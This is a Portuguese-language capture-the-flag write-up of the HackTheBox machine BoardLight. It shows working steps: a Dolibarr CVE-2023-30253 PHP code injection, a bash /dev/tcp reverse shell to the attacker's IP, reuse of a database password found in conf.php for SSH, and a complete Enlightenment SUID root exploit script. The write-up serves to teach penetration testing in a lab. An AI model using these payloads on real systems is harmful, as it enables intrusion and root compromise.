> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md).

# Writeup do HackTheBox BoardLight

Writeup da máquina Easy Linux BoardLight do HackTheBox cobrindo enumeração de subdomínios, exploração do Dolibarr 17.0.0 - CVE-2023-30253, vazamento de informações (pivot de usuário), exploração do binário Enlightenment SUID

{% embed url="<https://app.hackthebox.com/machines/BoardLight>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração de subdomínios
* Exploração do Dolibarr 17.0.0 - CVE-2023-30253
* Vazamento de Informações (Pivoting de Usuário)
* Exploração do Binário SUID do Enlightenment (Escalação de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ceff8c1031a89a3694b185347b6aee70e5eb1fc%2Fimage%20(775).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d7923b3bedf2de6f6e73bcd7af2c4a958d3635%2Fimage%20(776).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e9d9624d2101fc8b3d78a717aadbc3cb9360ad%2F%7BCA076EB7-6467-41EB-9F5E-A6BBD3415CC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2bde05626e973a39e9193e0d8bb9faea8b7267d%2Fimage%20(777).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões das portas com Nmap:

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.11 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-154cefcabc01e8b68ba351155bd012190509b9be%2Fimage%20(778).png?alt=media" alt=""><figcaption></figcaption></figure>

## Porta 80 - HTTP

**Análise com WhatWeb:** Identificamos um e-mail contendo um nome de domínio: `board.htb`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b760a375b264760726d5d4e989af9846b317082%2Fimage%20(779).png?alt=media" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df46ad44c06d2c224fa3f08da9653022da6a6ff1%2Fimage%20(780).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b0c17b0aeb6e6793f5207ed47c473b8110a5792%2Fimage%20(781).png?alt=media" alt=""><figcaption></figcaption></figure>

## Enumeração Web

**Pesquisar diretórios com Feroxbuster:**

```bash
feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Nenhum resultado relevante encontrado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf3dad731faf9e74ccc73b9c9fdc0e3a5b2fac8f%2Fimage%20(782).png?alt=media" alt=""><figcaption></figcaption></figure>

**Enumeração de subdomínios com Gobuster:**

```bash
gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
```

Descobrimos um subdomínio: `crm.board.htb`..

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96db5c9a6356aad9898dbe38eebcdb14c1e4673f%2F%7BD61F13B4-4E09-42B7-97FA-0D6C5D99248B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nós o adicionamos a `/etc/hosts`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9808b4e22700977d6dee7e808ca977063a198c47%2Fimage%20(783).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Vulnerabilidade no CMS Dolibarr

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97a8c94bb97b85331e6b6374a610458c8c58f35%2F%7B82BF6075-0650-49E9-804E-8A4335B3352E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Conexão sem autenticação:** Uma tentativa de conexão com credenciais aleatórias faz login como administrador, mas sem permissões.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a00f51f59b511ef777139bae30603990609b492%2F%7BBB128B85-5003-4442-8204-49C16AF1B2FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21e5eef3b2fded872cffd3d362705441dc9ed93f%2F%7BF8F7304E-7BAE-49E2-BEEB-D9DD176B70FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploração manual**

**Criação de um site malicioso:**

Na seção de criação do site, inserimos código PHP malicioso:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-320f76bc5f5a1520cad1f21c9658cb1152a1cdba%2F%7B57D72273-2C7D-4109-8D87-B8FC96C2E949%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adfec8a64d614aea59a40df72e04cf1ef00eeeb1%2Fimage%20(789).png?alt=media" alt=""><figcaption></figcaption></figure>

Confirmamos a execução de comandos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea06673e13e6cc5d2978bb44532de150ee337f88%2Fimage%20(790).png?alt=media" alt=""><figcaption></figcaption></figure>

**Shell reversa :**

Escutando:

```bash
nc -nvlp 443
```

Código PHP para uma shell reversa:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5724f0d9b87376187f0136697612ffa2ae8f47b6%2F%7B98AECE2A-9CC2-4EE0-891D-B7E8055E9580%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploração automatizada**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Instalação de dependências:**

```bash
pip3 install -r requirements.txt 
```

**Executando o script:**

Comando de teste (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c8443fb1d37bbeea65c6f1b92cde52baf2eaa61%2Fimage%20(785).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell reversa

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-582d60982c09f92ab4ebea4cfb0349a4442456ab%2Fimage%20(786).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Estabilização do terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting de Usuário - Larissa

O objetivo é fazer pivoting para o usuário **larissa**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d13b7cfadf7015cb54170d775628748389a252b%2F%7B733E7776-95B5-442F-9392-E741F2B86852%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Enumeração de informações

No `web` diretório localizado em `htbdocs`, encontramos uma pasta chamada `conf` contendo um arquivo **conf.php** . Este arquivo contém as seguintes informações:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50b2c381f7b5a395eca1522bc98da7f5b3f6e55d%2Fimage%20(791).png?alt=media" alt=""><figcaption></figcaption></figure>

* senha: `serverfun2$2023`!!

#### Conexão SSH

Com as informações obtidas, vamos tentar nos conectar à máquina via SSH:

```bash
ssh larissa@10.10.11.11
```

**Resultado:** A conexão funciona.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37242d6e6fba996876be1c17a0764b3180711c59%2F%7B14CBF43C-5C33-4E8F-BF0D-3ED2C65DE848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22892303b1fe31c355f4f78e4e43567ed132433a%2Fimage%20(792).png?alt=media" alt=""><figcaption></figcaption></figure>

## Escalada de Privilégios

### SUID - Enlightenment

Começamos procurando por arquivos SUID pertencentes ao nosso usuário. Para isso, execute o seguinte comando:

```bash
find / -perm -4000 2>/dev/null
```

Analisando a saída, notamos a presença do **enlightenment** binário.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70a652245f70014cac4a9062bb8887ab3838d25d%2Fimage%20(769).png?alt=media" alt=""><figcaption></figcaption></figure>

Estamos explorando vulnerabilidades associadas a esse binário. Após alguma pesquisa, identificamos um exploit aplicável à versão **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a67c855a2046e8bd6aa53f64254b1118a1ba447c%2Fimage%20(770).png?alt=media" alt=""><figcaption></figcaption></figure>

No entanto, ao verificar a versão atual do Enlightenment instalada no sistema, descobrimos que é a versão **0.23.1**, uma versão mais antiga.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-006e8193583f1c13081e818f1279908d0def10aa%2Fimage%20(771).png?alt=media" alt=""><figcaption></figcaption></figure>

Estamos testando o seguinte exploit para explorar a vulnerabilidade:

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

Após executar o exploit, obtemos um shell com privilégios de root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef7dc22a89003ed59082e2b1d2a9bc629e5e9231%2Fimage%20(772).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b50a6e8c729600c74ba9ba37b774556ec5108950%2Fimage%20(774).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44225a94c7b240e65dfe2ce7d44610e1007e2c51%2Fimage%20(773).png?alt=media" alt="" width="425"><figcaption></figcaption></figure>


---

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